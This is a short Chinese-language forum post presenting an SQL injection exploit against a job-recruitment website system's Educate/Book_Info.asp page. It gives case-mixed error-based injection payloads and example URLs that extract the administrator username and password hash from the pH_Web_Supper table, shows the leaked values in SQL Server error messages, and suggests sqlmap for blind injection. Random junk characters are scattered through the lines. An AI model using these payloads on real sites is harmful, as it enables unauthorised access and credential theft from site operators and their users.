网络求职招聘人才网站系统正式版注入

admin

漏洞出现在Educate/Book_Info.asp
0 j( V1 F0 z8 G1 I" h
此处注入点虽然过滤了一些关键字 但是我们还是可以盲注的 可以利用sqlmap跑出
9 X! i9 o. B4 D; e8 Y
exp：如下
查询管理账号：+aNd+0=(selEct+toP+1+su_SupperName+frOm+pH_Web_Supper)
查询管理密码：+aNd+0=(selEct+toP+1+su_Password+frOm+pH_Web_Supper)

) x* d- Z3 i6 J% N! vhttp://www.xxx.com /Educate/Book_Info.asp?Param=20+aNd+0=(selEct+toP+1+su_SupperName+frOm+pH_Web_Supper)
$ f: ]7 k3 N% z, X) M5 O8 g& ?: O
Microsoft OLE DB Provider for SQL Server 错误 '80040e07'
+ z$ p9 T+ |# a" p5 W
% {6 ]0 O& b( @将 nvarchar 值 'hackbase' 转换为数据类型为 int 的列时发生语法错误。
1 {3 ?. x  y0 n0 Y$ h0 z
/Educate/Book_Info.asp，行 8
8 A- O2 Y: p& ^0 T3 V+ `
+ G6 K0 U$ \+ t: J: O. thttp://www.xxx.com /Educate/Book_Info.asp?Param=20+aNd+0=(selEct+toP+1+su_Password+frOm+pH_Web_Supper)

Microsoft OLE DB Provider for SQL Server 错误 '80040e07'
- s7 @9 H1 E) H5 @+ A
* H- H3 v" |0 `5 _' [1 c将 nvarchar 值 '165706AD8319D7F95B7FC5E82FBE8F' 转换为数据类型为 int 的列时发生语法错误。
+ x* h7 x. j3 _! F6 J; X3 f2 H
* c, t  V% d6 G6 N" b$ K3 I) L/Educate/Book_Info.asp，行 8
$ Z" N2 }  `, ~4 F) g0 D+ V​